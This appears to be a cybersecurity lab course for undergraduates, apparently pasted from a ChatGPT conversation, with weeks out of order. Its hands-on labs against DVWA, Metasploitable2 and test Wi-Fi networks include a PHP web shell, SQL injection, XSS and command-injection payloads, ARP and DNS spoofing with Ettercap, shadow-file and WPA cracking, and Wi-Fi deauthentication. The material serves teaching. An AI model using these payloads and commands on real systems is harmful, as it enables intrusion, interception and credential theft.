Cybersecurity Lab Course Outline (14 Weeks, 2 Hours/Week)

Target Audience: Undergraduate Engineering Students
Tools Used: Open-source only (Kali Linux, Wireshark, Metasploit, Burp Suite CE, OWASP ZAP, John the Ripper, etc.)
Environment: VirtualBox with preconfigured VMs (Kali Linux, DVWA, Metasploitable2)

Week 1: Introduction to Cybersecurity & Linux Basics

- **Objective:** Familiarize with cybersecurity concepts and Linux CLI
- **Tools:** Kali Linux (Live or VM), Ubuntu
- **Lab Tasks:**
    - Setting up a virtual lab (VirtualBox/VMware + Kali)
    - Basic Linux commands, file permissions, networking commands
    - Create user accounts, explore `/etc/passwd`, `/etc/shadow`

Week 2: Networking Fundamentals & Packet Analysis

- **Objective:** Understand networking and capture/analyze packets
- **Tools:** Wireshark, tcpdump
- **Lab Tasks:**
    - Use `ip`, `ifconfig`, `netstat`, `nmap`
    - Capture HTTP traffic using Wireshark
    - Analyze TCP 3-way handshake and DNS queries

Week 3: Reconnaissance and Scanning

- **Objective:** Perform passive and active reconnaissance
- **Tools:** Nmap, Netdiscover, Whois, Shodan (web), theHarvester
- **Lab Tasks:**
    - Discover devices on LAN
    - OS fingerprinting and port scanning
    - Passive info gathering (whois, DNS enumeration)

Week 4: Vulnerability Analysis

- **Objective:** Identify vulnerabilities in target systems

- **Tools:** Nmap scripts, Nikto, OpenVAS (optional for advanced users)
- **Lab Tasks:**
    - Scan Metasploitable2 using Nikto and Nmap NSE
    - Analyze results and report CVEs
    - Manual vs automated scanning comparison

Week 5: Password Cracking

- **Objective:** Understand password security and cracking techniques
- **Tools:** John the Ripper, Hydra, rockyou.txt
- **Lab Tasks:**
    - Crack `/etc/shadow` hash with John
    - Perform brute force attack on SSH or FTP (local only)
    - Dictionary vs brute-force attack comparison

Week 6: Web Application Security - Part 1 (OWASP Top 10)

- **Objective:** Explore common web vulnerabilities
- **Tools:** DVWA, OWASP ZAP or Burp Suite Community
- **Lab Tasks:**
    - Setup DVWA
    - SQL Injection, XSS (Reflected), Command Injection
    - Capture and analyze web requests

Week 7: Web Application Security - Part 2

- **Objective:** Practice deeper attacks and mitigation
- **Tools:** OWASP Juice Shop (or continue DVWA)
- **Lab Tasks:**
    - CSRF attack demo
    - File upload vulnerability
    - Burp/ZAP intercept & replay

Week 8: Exploitation with Metasploit

- **Objective:** Learn exploitation basics using Metasploit
- **Tools:** Metasploit Framework, Metasploitable2
- **Lab Tasks:**
    - Scan and exploit vulnerable services
    - Use Meterpreter for post-exploitation
    - Create a basic exploit report

Week 9: Wireless Security (Optional: Use Alfa adapters)

- **Objective:** Explore Wi-Fi security and cracking
- **Tools:** Aircrack-ng, Wireshark
- **Lab Tasks:**
    - Capture WPA handshake (demo mode or pcap file)
    - Crack using dictionary
    - Discuss Wi-Fi security protocols (WEP/WPA/WPA2)

Week 10: Social Engineering & Phishing Simulation

- **Objective:** Understand the human factor in security
- **Tools:** SET (Social-Engineer Toolkit), Gophish (optional demo)
- **Lab Tasks:**
    - Simulate a phishing page with SET
    - Analyze email headers and links
    - Discuss social engineering red flags

Week 11: Forensics and Incident Response

- **Objective:** Learn basics of digital forensics
- **Tools:** Autopsy, Volatility, strings, hashdeep
- **Lab Tasks:**
    - Analyze disk image (small image provided)
    - Identify deleted files and file signatures
    - Create hash reports and verify integrity

Week 12: Capture the Flag (CTF) / Final Project

- **Objective:** Reinforce all concepts in a practical challenge
- **Tools:** TryHackMe/OverTheWire (offline versions or custom CTF)
- **Lab Tasks:**
    - Solve 4–5 mini-challenges (recon, web, password crack, exploit)
    - Team-based or individual performance
    - Submit write-up/report

Week 13: DoS and DDoS Attacks – Concepts and Simulation

- **Objective**: Understand and simulate Denial-of-Service and Distributed Denial-of-Service attacks in a safe environment using open-source tools.
- **Tools**: Kali Linux, hping3, slowloris, Wireshark, iftop, netstat, Apache/Nginx
- **Lab Summary**: Simulate ICMP flood, TCP SYN flood, and HTTP slow attacks on a target server. Monitor the effects using network and system tools. Understand resource exhaustion, traffic patterns, and basic mitigation strategies.

Week 14: Python Scripting with Security APIs (VirusTotal & Shodan)

- **Objective**: Learn how to interact with real-world security APIs using Python for threat intelligence and asset discovery.
- **Tools**: Python, `requests`, `shodan` Python library, VirusTotal API key, Shodan API key, VS Code or Jupyter
- **Lab Summary**: Write Python scripts to query file hashes on VirusTotal and search for exposed services on Shodan. Parse and analyze JSON responses. Combine APIs to build mini threat intelligence tools.

Deliverables

- Weekly lab reports (screenshots + answers + analysis)
- Final report or CTF write-up
- Peer presentation (optional, for soft skills)

Week 1 Lab: Introduction to Cybersecurity & Linux Basics

Learning Objectives

By the end of this lab, students will:

- Understand the importance of cybersecurity and the lab environment.
- Learn basic Linux file system navigation and permissions.
- Use essential Linux commands required for cybersecurity tasks.

Lab Requirements

- **Host OS**: Windows/Linux/macOS
- **Virtual Machine**: Kali Linux
- **Virtualization**: VirtualBox or VMware Workstation Player
- Internet access (optional after setup)

Tools Used

- Kali Linux (Pre-installed tools like `ls`, `chmod`, `nano`, etc.)
- Terminal

Lab Sections

1. Setting Up the Cybersecurity Lab

1. **Install VirtualBox**
    - Download and install VirtualBox.
    - Installation Guide
2. **Import Kali Linux OVA**
    - Download the Kali `.ova` file and import it.
    - VirtualBox > File > Import Appliance > Select `.ova` > Import

Screenshot:

Show "Kali Linux" in the VirtualBox VM list

---

2. Basic Linux Navigation

Open the Kali Terminal and try the following commands:

Command	Description
`pwd`	Show current directory
`ls -l`	List files with details
`cd /home`	Change directory
`mkdir testlab`	Create a directory
`touch testfile.txt`	Create a file
`nano testfile.txt`	Edit file using nano

Screenshot:

Terminal showing creation and editing of `testfile.txt`

3. Understanding Users and Permissions

Check file permissions and ownership:

```
bash

ls -l testfile.txt
```

Change permissions:

```
bash

chmod 744 testfile.txt
```

Switch users:

```
bash

sudo adduser student2
su - student2
```

Screenshot:

Show permissions before and after `chmod`, and logged in as new user.

4. Networking Basics in Linux

Try these commands:

```
bash

ifconfig
ip a
ping 8.8.8.8
netstat -tulnp
```

Use `hostnamectl` to check system info:

```
bash

hostnamectl
```

Screenshot:

Show IP address using `ifconfig` or `ip a`

---

5. Reflection & Questions

Students should answer:

1. What does `chmod 744` mean?
2. What is the default shell in Kali Linux?
3. How do you add a new user?
4. What is the output of `ls -l` telling you?

Student Deliverables

- Screenshots of:
  - Terminal with file operations
  - User switching
  - Network command output
- Answered questions (submit via LMS or PDF)

Week 2 Lab: Networking & Packet Analysis

Learning Objectives

By the end of this lab, students will:

- Understand IP addressing, ports, and protocols.
- Use tools to inspect network interfaces and connectivity.
- Capture and analyze network traffic using Wireshark and tcpdump.

Lab Requirements

- Kali Linux VM (VirtualBox or VMware)
- Internet access (optional if using `.pcap` files for offline analysis)
- Wireshark (preinstalled in Kali)
- tcpdump (preinstalled)

Tools Used

- `ifconfig`, `ip`, `ping`, `netstat`
- `tcpdump`
- **Wireshark**

Lab Sections

---

1. Basic Network Interface Commands

Open Kali Linux terminal and execute:

```
bash

ip a          # or: ifconfig
ip r          # show routing table
ping 8.8.8.8  # check internet connectivity
```

Observe:

- Interface names (e.g., `eth0`, `wlan0`, `lo`)
- Assigned IP addresses (IPv4/IPv6)

Screenshot:

Show output of `ip a` with assigned IP

---

2. Explore Active Network Connections

Check all open ports and listening services:

```
bash

netstat -tulnp
ss -tulwn
```

Flags explained:

- `-t`: TCP
- `-u`: UDP
- `-l`: Listening
- `-n`: Numeric IPs
- `-p`: Process ID and name

Screenshot:

Show list of active services (e.g., SSH, DHCP)

---

3. Capture Packets with tcpdump

Run a simple packet capture:

```
bash

sudo tcpdump -i eth0 -w sample_capture.pcap
```

- Open Firefox in Kali and browse a site like `http://example.com`
- Press `Ctrl+C` to stop tcpdump

Then analyze the capture in Wireshark:

```
bash

wireshark sample_capture.pcap &
```

Screenshot:

Show terminal running tcpdump + Wireshark showing traffic

---

4. Wireshark Packet Analysis

In Wireshark:

1. Filter by HTTP:

```
nginx
```

```
http
```

2. Right-click → Follow → HTTP Stream
3. Identify:
    - TCP handshake (SYN, SYN-ACK, ACK)
    - DNS request
    - GET request

Tasks:

- Find the IP address of `example.com`
- Check TTL and protocol version
- Export packet details as CSV or PDF

Screenshot:

Show filtered HTTP packets and stream contents

---

5. Questions for Students

1. What is the purpose of the `-w` option in tcpdump?
2. How does TCP establish a connection?
3. What filter would you apply to view only ICMP packets in Wireshark?
4. What is the difference between `netstat` and `ss`?

Student Deliverables

- Screenshot of:
    - IP config output
    - netstat/ss output
    - tcpdump capture
    - HTTP stream in Wireshark
- Answered questions

Week 3 Lab: Reconnaissance and Scanning

Learning Objectives

By the end of this lab, students will:

- Understand the difference between passive and active reconnaissance.
- Perform host discovery and port scanning on local networks.
- Use tools like Nmap, theHarvester, and WHOIS for information gathering.

Lab Requirements

- Kali Linux VM
- Metasploitable2 VM (target system)
- Internet access (optional for passive recon tasks)
- Internal network or Host-Only network for scanning

Tools Used

- `nmap`
- `netdiscover`
- `whois`, `dig`, `nslookup`
- `theHarvester`
- (Optional) `Shodan` via browser

Lab Sections

---

1. Network Mapping with netdiscover

```
bash

sudo netdiscover -r 192.168.56.0/24
```

- Replace with your host-only adapter subnet.
- Identify all live devices (including Metasploitable2).

Screenshot:

Show list of live IPs with MAC addresses and vendors.

---

2. WHOIS, DNS, and OSINT Lookups

Try passive reconnaissance using:

```
bash

whois example.com
nslookup example.com
dig example.com any
```

Also:

- Use `theHarvester` to find emails/domains:

```
bash

theharvester -d example.com -b bing
```

Screenshot:

Show whois output and theHarvester results.

---

3. Nmap Scanning Basics

Scan your Metasploitable2 VM:

```
bash

nmap -sP 192.168.56.0/24        # Ping sweep
nmap -sS -sV 192.168.56.102     # SYN scan + version detection
nmap -O 192.168.56.102          # OS detection (requires root)
```

Try also:

```
bash

nmap -p- --open 192.168.56.102  # Scan all ports
```

Screenshot:

Show Nmap result with open ports and service versions.

---

4. Nmap Scripts (NSE)

```
bash

nmap --script vuln 192.168.56.102
```

Explore Nmap’s built-in vulnerability scripts.

Screenshot:

Show identified vulnerabilities from NSE.

---

5. Student Questions

1. What’s the difference between `-sS` and `-sT` scans?
2. Which tools provide **passive** reconnaissance?
3. What are the risks of aggressive scanning?
4. What info does WHOIS reveal about domains?

Student Deliverables

- Screenshots of:
    - netdiscover and whois
    - theHarvester results
    - Nmap basic and advanced scans
- Answered questions

Week 5 Lab: Web Application Security using DVWA

Learning Objectives

By the end of this lab, students will:

- Understand the basics of web vulnerabilities: XSS, SQL Injection, and File Upload.
- Use DVWA (Damn Vulnerable Web Application) to perform and analyze web attacks.
- Learn to modify request parameters and observe insecure input handling.

Lab Requirements

- Kali Linux VM
- DVWA installed locally (on Kali or separate Ubuntu VM)
- Browser (Firefox)
- Burp Suite (pre-installed on Kali)

Tools Used

- DVWA (Damn Vulnerable Web App)
- Firefox (Developer Tools)
- Burp Suite (optional)
- MySQL/PHP (backend)

DVWA Setup Instructions (One-time)

Option A: Use preinstalled DVWA in Kali (in `/var/www/html`)

```
bash

sudo service apache2 start
sudo service mysql start
sudo mysql -u root -e "CREATE DATABASE dvwa; GRANT ALL ON dvwa.* TO
'dvwa'@'localhost' IDENTIFIED BY 'p@ssw0rd'; FLUSH PRIVILEGES;"
cd /var/www/html/dvwa
sudo cp config/config.inc.php.dist config/config.inc.php
sudo nano config/config.inc.php
```

In config.inc.php, set:

```
php

$_DVWA[ 'db_user' ] = 'dvwa';
$_DVWA[ 'db_password' ] = 'p@ssw0rd';
```

Now open in browser:

```
arduino

http://localhost/dvwa
```

Click “Create Database”, then login:

- Username: **admin**
- Password: **password**

Lab Sections

---

1. Low-Level Stored XSS Attack

1. Login to DVWA
2. Set **Security Level** to “Low” under DVWA Security → Security Level
3. Go to **Stored XSS**
4. Submit:

   ```
   html

   <script>alert('XSS');</script>
   ```

Screenshot:

Show the alert box popup and the script in the comment field

Question: Why is this dangerous in shared web apps?

---

2. SQL Injection

1. Go to **SQL Injection** section.
2. Enter:

   ```
   bash

   1' OR '1'='1
   ```

3. You should bypass the logic and view all users.

Screenshot:

Show SQL result revealing multiple usernames

Question: How does this input manipulate the query logic?

---

3. File Upload Vulnerability

1. Go to **File Upload**
2. Create a fake image with PHP payload:

   ```
   php
   <?php system($_GET['cmd']); ?>
   ```

3. Save it as `shell.php` and rename to `shell.php.jpg`
4. Upload it, then access:

   ```
   bash
   http://localhost/dvwa/hackable/uploads/shell.php.jpg?cmd=whoami
   ```

Screenshot:

Show command output in the browser (e.g., `www-data`)

Question: Why did the server accept the malicious file?

---

4. Bonus (Optional): Intercept with Burp Suite

1. Open Burp → Proxy → Intercept → ON
2. Configure browser to use Burp's proxy: `127.0.0.1:8080`
3. Submit a vulnerable form (e.g., SQLi)
4. Intercept and modify data on-the-fly.

Screenshot:

Show request intercepted in Burp with SQL payload

Student Reflection Questions

1. What is the difference between Stored and Reflected XSS?
2. How can a developer defend against SQL Injection?
3. What risks arise from allowing unrestricted file uploads?
4. How can you identify and stop script-based attacks?

Student Deliverables

- Screenshots of:
    - XSS alert

    - SQL Injection result
    - File upload test
- Answered reflection questions

Week 6 Lab: Password Cracking

Learning Objectives

By the end of this lab, students will:

- Understand password hashing and common weaknesses.
- Extract and crack password hashes using dictionary attacks.
- Use `John the Ripper` and `Hashcat` with the `rockyou.txt` wordlist.

Lab Requirements

- Kali Linux VM
- Test user accounts (or provided `/etc/shadow` dump)
- Pre-installed tools: `john`, `hashcat`, `unshadow`, `rockyou.txt`
- Internet access (for hash examples if needed)

Tools Used

- `John the Ripper`
- `Hashcat`
- `rockyou.txt` (in `/usr/share/wordlists/`)
- `openssl` (to generate sample hashes)

Lab Sections

---

1. Hash Generation Practice (for demo)

Use `openssl` to create sample hashes:

```
bash

echo -n "welcome123" | openssl dgst -md5
echo -n "welcome123" | openssl dgst -sha1
```

Screenshot:

Show output MD5 and SHA1 hash values

Question: Which is more secure and why?

---

2. John the Ripper on Shadow File

Step 1: Create a test user with weak password

```
bash

sudo useradd testuser
sudo passwd testuser
# Use '123456' as password
```

Step 2: Extract shadow & passwd files

```
bash

sudo cp /etc/passwd passwd.bak
sudo cp /etc/shadow shadow.bak
```

Combine for John:

```
bash

sudo unshadow passwd.bak shadow.bak > combined.txt
```

Step 3: Crack with John

```
bash

john --wordlist=/usr/share/wordlists/rockyou.txt combined.txt
```

```
bash

john --show combined.txt
```

> *Screenshot:*
>
> Show cracked username and password from John’s output
>
> *Question:* Why is `unshadow` necessary?

---

3. Crack Standalone Hash with Hashcat

Step 1: Create a hash file

```
bash

echo -n "password123" | md5sum
# Example: 482c811da5d5b4bc6d497ffa98491e38
```

Save it in a file `hash.txt`.

Step 2: Run Hashcat

```
bash

hashcat -m 0 -a 0 -o found.txt hash.txt /usr/share/wordlists/rockyou.txt
```

Options:

- `-m 0` for MD5
- `-a 0` for dictionary attack

Screenshot:

Show cracked output in `found.txt`

Question: What is the meaning of `-m` and `-a` flags?

---

4. Bonus: Try Different Hash Formats

Try generating and cracking:

```
bash

openssl passwd -6 "test123"     # SHA-512 crypt hash
```

Try Hashcat mode:

```
bash

hashcat -m 1800 hashfile.txt rockyou.txt  # SHA512(crypt)
```

Screenshot:

Show Hashcat processing SHA-512 hashes (optional)

Student Reflection Questions

1. What are the risks of using weak or predictable passwords?
2. How does the wordlist influence cracking success?
3. Why is password *hashing* better than *encryption* for storing passwords?
4. What are rainbow tables and how do they relate to this lab?

Student Deliverables

- Screenshots of:
    - Hash generation
    - Cracked password from John the Ripper
    - Hashcat results
- Answers to reflection questions

Week 7 Lab: Malware Analysis (Static and Dynamic)

Learning Objectives

By the end of this lab, students will:

- Understand the difference between static and dynamic malware analysis.
- Use tools to analyze malware without executing it.
- Identify malware behavior in a sandboxed or isolated VM environment.
- Practice safe handling of suspicious binaries.

Lab Requirements

- Kali Linux or Ubuntu VM
- Internet disabled (for safety) OR isolated VM environment
- Sample PE file (benign/test malware or simulated)
- Tools:
  - `strings`, `file`, `md5sum`
  - `peframe`
  - `Cuckoo Sandbox` (optional instructor demo)

Safety First

- NEVER run real malware outside isolated lab VMs.
- Do NOT open malicious files on host OS.
- Prefer simulated/test samples for this exercise.

Tools Used

- `file`, `md5sum`, `sha256sum`
- `strings` – extract embedded text from binaries
- `peframe` – PE (Windows EXE) static analyzer
- (Optional) `cuckoo-sandbox` – dynamic behavior analysis

Lab Sections

---

1. Static Analysis using `file`, `md5sum`, `strings`

Step 1: Download a test EXE sample (e.g., `sample.exe`) from:

- TheZoo (pre-cleaned samples)
- Or use simulated malware like EICAR test file

```
bash

file sample.exe
md5sum sample.exe
sha256sum sample.exe
strings sample.exe | less
```

> *Screenshot:*
>
> Show the `file` output and first few `strings` lines
>
> *Question:* What interesting strings (URLs, registry paths, IPs) did you find?

---

2. Static PE Header Analysis with `peframe`

Install:

```
bash

sudo apt install peframe
```

Run:

```
bash

peframe sample.exe
```

> *Screenshot:*
>
> Show PE header analysis and possible suspicious indicators
>
> *Question:* What capabilities does this file indicate (network, persistence, etc.)?

---

3. Optional: Dynamic Analysis (Instructor-led)

(A) Setup Cuckoo (Instructor Demo or Pre-Configured)

- Install Cuckoo inside isolated VM or use Remnux/SIFT
- Set up guest Windows XP/7 VM as the execution agent
- Submit `sample.exe` for analysis

(B) OR Manual Observation (if Cuckoo is not used)

Use `Procmon`, `Wireshark`, `TCPView`, `Autoruns` inside Windows sandbox VM:

- Observe file changes
- Monitor registry modifications
- Check outgoing connections

Screenshot:

Screenshot from process explorer or file system changes (optional)

Question: Did the malware make any network requests or system changes?

Student Reflection Questions

1. What’s the difference between static and dynamic malware analysis?
2. What is the purpose of examining strings in a binary?
3. How do malware files disguise their behavior?
4. Why should dynamic analysis always happen in a VM?

Student Deliverables

- Screenshots of:
    - `file`, `strings`, `peframe` results
    - (optional) Dynamic analysis if available
- Answered reflection questions
- Summary of what kind of malware behavior was observed or suspected

Week 8 Lab: Network Attacks & Defense (MITM, ARP Spoofing, DNS Poisoning)

Learning Objectives

By the end of this lab, students will:

- Understand how network-level attacks such as ARP spoofing and DNS poisoning work.
- Perform a Man-in-the-Middle (MITM) attack using `Ettercap`.
- Capture and analyze spoofed traffic using `Wireshark`.
- Learn basic network defense strategies.

Lab Requirements

- 2 Kali Linux VMs **or** 1 Kali + 1 Ubuntu VM (on same Virtual Network)
- Wireshark
- Ettercap (GUI or CLI)
- Internet disabled (for safety)
- Root access on both machines

Tools Used

- `Ettercap` – MITM attack and spoofing
- `Wireshark` – Packet sniffing and protocol analysis
- `ping`, `dig`, `arp`, `ip`, etc.

Lab Sections

---

1. Network Setup

Step 1: Ensure both VMs are on **same NAT or host-only adapter**
Check IPs using:

```
bash
```

```
ip a
```

Screenshot:

Show IP address of attacker and victim machine

Question: Why must both machines be on the same subnet for ARP spoofing?

---

2. ARP Spoofing with Ettercap (MITM)

On Attacker Machine (Kali):

```
bash

sudo ettercap -G
```

1. Go to **Sniff** → **Unified Sniffing** → **eth0**
2. Go to **Hosts** → **Scan for hosts**
3. Go to **Hosts** → **Host list**
    - Add **Target 1**: victim IP (e.g., 192.168.1.5)
    - Add **Target 2**: gateway/router IP (e.g., 192.168.1.1)
4. Go to **Mitm** → **ARP poisoning**
    - Check both: “Sniff remote connections”
5. Start sniffing!

Screenshot:

Ettercap main window with both targets selected and MITM running

---

3. Analyze Traffic with Wireshark

On Kali, run:

```
bash

sudo wireshark
```

- Choose `eth0`
- Filter: `http`, `dns`, or `icmp`
- Observe victim’s traffic being captured

Screenshot:

HTTP GET/POST or DNS packet from victim's traffic

Question: What kind of information can be captured during a MITM attack?

---

4. DNS Spoofing (Ettercap Plugin)

Edit DNS spoof file:

```
bash
```

```
sudo nano /usr/share/ettercap/etter.dns
```

Add:

```
css
```

```
www.facebook.com A 192.168.1.100
```

Then run:

```
bash
```

```
sudo ettercap -T -q -i eth0 -P dns_spoof -M arp:remote /victim_ip/ /gateway_ip/
```

Screenshot:

Victim tries to access `www.facebook.com` and gets redirected

Question: How can DNS spoofing be mitigated?

Network Defense Discussion

- Use HTTPS & certificate pinning
- Enable static ARP entries (or use `arpwatch`)
- Secure DNS with DNSSEC or DoH
- Enable router protections (anti-ARP spoofing, IP-MAC binding)

Student Reflection Questions

1. What is ARP spoofing and how does it enable MITM attacks?
2. How is DNS poisoning different from ARP poisoning?
3. What tools or methods can detect MITM attacks?
4. What are the risks of unencrypted protocols on open networks?

Student Deliverables

- Screenshots of:
    - IP addresses (both machines)
    - Ettercap with MITM running

    - Wireshark captured packets
    - DNS spoof success (browser or dig output)
- Reflection question answers

Week 4 Lab: Vulnerability Scanning

Learning Objectives

By the end of this lab, students will:

- Understand what vulnerabilities are and how to identify them.
- Use scanning tools to detect misconfigurations, outdated services, and web flaws.
- Analyze and interpret scan results, including CVEs.

Lab Requirements

- **Kali Linux VM**
- **Target**: Metasploitable2 VM or DVWA (optional setup)

- Internet access for updates (optional)

Tools Used

- `nikto` (Web server vulnerability scanner)
- `nmap` (with `--script vuln`)
- (Optional) `OpenVAS` / Greenbone
- (Optional) `searchsploit` (from Exploit-DB)

Lab Sections

---

1. ♂ Scan Web Services with Nikto

Target: Metasploitable2 web server (usually on port 80 or 8180)

```
bash

nikto -h http://192.168.56.102
```

Observe:

- Outdated Apache version
- Open directories
- Default files
- Potential XSS or vulnerable scripts

Screenshot:

Nikto scan showing vulnerable paths and server misconfigurations

---

2. Vulnerability Scan with Nmap NSE Scripts

Use Nmap’s built-in vulnerability scripts:

```
bash

nmap -sV --script vuln 192.168.56.102
```

Or scan specific services:

```
bash

nmap -p 21,22,80 --script vuln 192.168.56.102
```

Observe:

- CVEs listed

- Risk summaries
- Vulnerable services like vsftpd, Samba

Screenshot:

Nmap output showing found vulnerabilities with CVEs

---

3. Optional: OpenVAS/Greenbone Setup (Instructor-Led)

Steps:

```
bash

sudo apt update
sudo apt install openvas
sudo gvm-setup
gvm-start
```

Login via browser:

```
arduino

https://localhost:9392
```

Scan target VM and review severity scores.
This can be instructor demo due to time (OpenVAS takes ~30 mins setup).

Screenshot:

Web interface showing scan dashboard or result summary

---

4. Use SearchSploit to Find Exploits for Vulnerabilities

```
bash

searchsploit vsftpd
searchsploit apache 2.2.8
```

Screenshot:

searchsploit result for outdated Apache version or FTP

---

5. Student Questions

1. What is a vulnerability?
2. What kind of vulnerabilities did Nikto detect?
3. How does Nmap detect CVEs?
4. What is the difference between Nikto and OpenVAS?

Student Deliverables

- Screenshots of:
    - Nikto scan results
    - Nmap `--script vuln` output
    - Optional: OpenVAS or searchsploit results
- Answered questions

Week 9 Lab: Email Security & Phishing Analysis

Learning Objectives

By the end of this lab, students will:

- Analyze email headers to trace sender IP and authenticity.
- Understand and validate SPF, DKIM, and DMARC.
- Identify phishing tactics using real-world (safe) examples.
- Learn how attackers spoof emails and how to defend against them.

Lab Requirements

- Kali Linux or any Linux distro (can also use Windows for browser tools)
- Access to an email client (Thunderbird/Webmail/Gmail)
- Internet access for:
  - Header analysis tools: mxtoolbox.com, Google Admin Toolbox
  - DNS record lookup: `dig`, `host`, `nslookup`

Tools Used

- `dig`, `host`, `nslookup` – for DNS record analysis
- Email header viewer (e.g., Gmail > Show Original)
- Online: MXToolbox, Mail-Tester

Lab Sections

---

1. Understanding Email Headers

Step 1: Get the Full Header

From Gmail:

- Open a received email
- Click "More" (3 dots) → **Show Original**
- Copy the raw header

Step 2: Analyze Header

Paste into:

- https://mxtoolbox.com/EmailHeaders.aspx
- https://toolbox.googleapps.com/apps/messageheader/

Look for:

- `Received:` entries (IP of sending server)
- `From:` and `Return-Path:` mismatch
- SPF, DKIM, and DMARC authentication results

Screenshot:

Paste email header and show analysis of SPF/DKIM/DMARC

Question: What was the sending IP? Was the message authenticated?

---

2. DNS Lookup for SPF, DKIM, DMARC

Use `dig` or online tools to inspect sender domain:

```
bash

dig TXT example.com
```

Look for:

- SPF record: starts with `v=spf1`
- DMARC: `dig TXT _dmarc.example.com`
- DKIM: `dig TXT selector._domainkey.example.com`

Screenshot:

Output of SPF, DKIM, and DMARC TXT record lookup

Question: What policies are set for SPF and DMARC?

---

3. Phishing Email Analysis

Use sanitized phishing email samples:

- Examine poor grammar, urgent tone, suspicious links
- Hover over links: do they match the text?
- Look at `From:` address – is it a lookalike domain?
- Analyze the reply-to address and headers

Screenshot:

A phishing email example with marked red flags

Question: What made this email suspicious? What could a user do to verify?

---

4. Simulated Phishing Scenario (Instructor-guided)

Optional (Local setup):

- Use `Gophish` (https://getgophish.com/) to simulate phishing emails
- Track clicks and analyze open rates in a controlled environment

---

Defense Discussion

- Use email clients that validate SPF/DKIM
- Train users to spot phishing tactics
- Enable DMARC policy: `reject`
- Use multi-factor authentication (MFA)

Student Reflection Questions

1. What is the purpose of SPF, DKIM, and DMARC?
2. How can attackers spoof a legitimate email address?
3. What red flags help identify phishing emails?
4. What tools can be used to analyze and trace email headers?

Student Deliverables

- Screenshot of header analysis (MXToolbox or Google Toolbox)
- Screenshot of SPF/DKIM/DMARC `dig` output
- Highlighted phishing email or list of red flags
- Answered reflection questions

Week 10 Lab: Web Application Vulnerabilities (OWASP Top 10 using DVWA)

Tools:

- **DVWA** (Damn Vulnerable Web Application)
- **XAMPP** or **Docker**
- **Browser Developer Tools**
- **sqlmap**, `burpsuite` (Community), `curl`

Focus:

- Exploiting common web vulnerabilities: **XSS**, **SQL Injection**, **Command Injection**, **CSRF**
- Learning input validation failures and insecure configurations

---

I will now prepare:

- Full Week 10 lab with setup, guided exploitation, and screenshot-based exercises
- Updated **Student Manual PDF (Weeks 1–9)** for you to review or share

Stay tuned!

You said:

yes

ChatGPT said:

Perfect! Here's your detailed:

Week 10 Lab: Web Application Vulnerabilities using DVWA (OWASP Top 10)

Learning Objectives

By the end of this lab, students will:

- Understand and exploit key OWASP Top 10 vulnerabilities in a safe lab.
- Gain hands-on experience with **SQL Injection**, **Cross-Site Scripting (XSS)**, **Command Injection**, and **CSRF**.
- Learn how poor input validation leads to common web security flaws.

Lab Requirements

- **Kali Linux VM** OR **any Linux host**
- **DVWA** (Damn Vulnerable Web App) via:
    - `XAMPP` (PHP+MySQL stack) **or**
    - **Docker** (preferred)
- Browser (Firefox or Chromium)
- Tools: `sqlmap`, Burp Suite Community (optional), browser dev tools

---

Lab Setup

Option 1: Run DVWA Using Docker (Recommended)

```
bash

git clone https://github.com/digininja/DVWA
cd DVWA
docker-compose up -d
```

Access DVWA in browser:
`http://localhost:8080`

Login:

- Username: `admin`
- Password: `password`

Screenshot:

DVWA login page

Then:

- Click **DVWA Security** → Set to **Low**

Lab Sections

---

1. SQL Injection (SQLi)

Navigate to:

DVWA → SQL Injection

- Enter: `1 OR 1=1` in the user ID field
- Observe bypass of authentication or SQL logic

Optional:

```bash
sqlmap -u "http://localhost:8080/vulnerabilities/sqli/?id=1&Submit=Submit#"
```

Screenshot:

Query and database dump

Question: What caused the vulnerability here?

---

2. Cross-Site Scripting (XSS)

Navigate to:

DVWA → XSS (Stored or Reflected)

Try input:

```html
<script>alert('XSS')</script>
```

- Submit and reload page
- Observe if alert executes

Screenshot:

Alert popup from XSS

Question: How can this be used by attackers?

---

3. Command Injection

Navigate to:

DVWA → Command Injection

- Enter:
  ```bash
  127.0.0.1; ls
  ```
- Try more system commands:
  ```bash
  127.0.0.1; whoami
  ```

Screenshot:

Command execution results

Question: Why does the server execute this command?

---

4. CSRF (Cross-Site Request Forgery)

Navigate to:

DVWA → CSRF

- Try to change password by submitting crafted request
- Observe the success message even though you didn't confirm the old password

Screenshot:

Password changed via CSRF

Question: What makes CSRF effective and how can it be prevented?

Defense Discussion

- Use prepared statements for SQL
- Sanitize all inputs and encode outputs (XSS)
- Use CSRF tokens in forms
- Set secure cookie flags (`HttpOnly`, `SameSite`)

Student Reflection Questions

1. What common coding mistakes lead to these vulnerabilities?
2. Which attack was easiest to execute? Why?
3. How can developers defend against these issues?
4. What are the real-world impacts of these vulnerabilities?

Student Deliverables

- Screenshots of:
    - SQLi, XSS, Command Injection results
    - CSRF password change success
- Answered reflection questions
- Summary of at least one exploit flow

Week 11 Lab: Wireless Security – WPA2 Cracking with Aircrack-ng

---

Learning Objectives

By the end of this lab, students will:

- Understand how WPA/WPA2 Wi-Fi encryption works.
- Capture a WPA2 handshake using airodump-ng.
- Perform a dictionary attack to crack a Wi-Fi password using aircrack-ng.
- Learn about wireless attack countermeasures.

Disclaimer

This lab **must only be performed** on:

- Your **own Wi-Fi network**
- A **test access point** with permission
  Unauthorized wireless hacking is **illegal** under cybercrime laws.

Lab Requirements

- **Kali Linux** with `aircrack-ng` suite
- A wireless adapter that supports **monitor mode** (e.g., Alfa AWUS036NHA)
- A **test Wi-Fi network** with a known password
- A **wordlist** (e.g., `/usr/share/wordlists/rockyou.txt`)

Lab Steps

---

1. Identify Wi-Fi Interface

Run:

```
bash
```

```
iwconfig
```

Find your wireless interface (e.g., `wlan0`).

Screenshot:

Output of `iwconfig` showing interface in monitor mode

---

2. Enable Monitor Mode

```
bash

sudo airmon-ng start wlan0
```

This creates `wlan0mon`

---

3. Scan for Networks

```
bash

sudo airodump-ng wlan0mon
```

- Note:
  - **BSSID** of your test router
  - **Channel** (e.g., 6)
  - **ESSID** (Wi-Fi name)

Screenshot:

Airodump-ng showing target BSSID and channel

---

4. Capture the Handshake

Target only the test network:

```
bash

sudo airodump-ng -c <channel> --bssid <BSSID> -w capture wlan0mon
```

This will save a `.cap` file when the handshake is captured.

- Connect a device to the Wi-Fi or deauth someone:

```
bash

sudo aireplay-ng -0 5 -a <BSSID> wlan0mon
```

Screenshot:

Handshake capture message in airodump

---

5. Crack the Password

Use the captured `.cap` file:

```bash
aircrack-ng -w /usr/share/wordlists/rockyou.txt -b <BSSID> capture-01.cap
```

Screenshot:

Cracked password output (if found in wordlist)

Question: What factors affect whether a password is crackable?

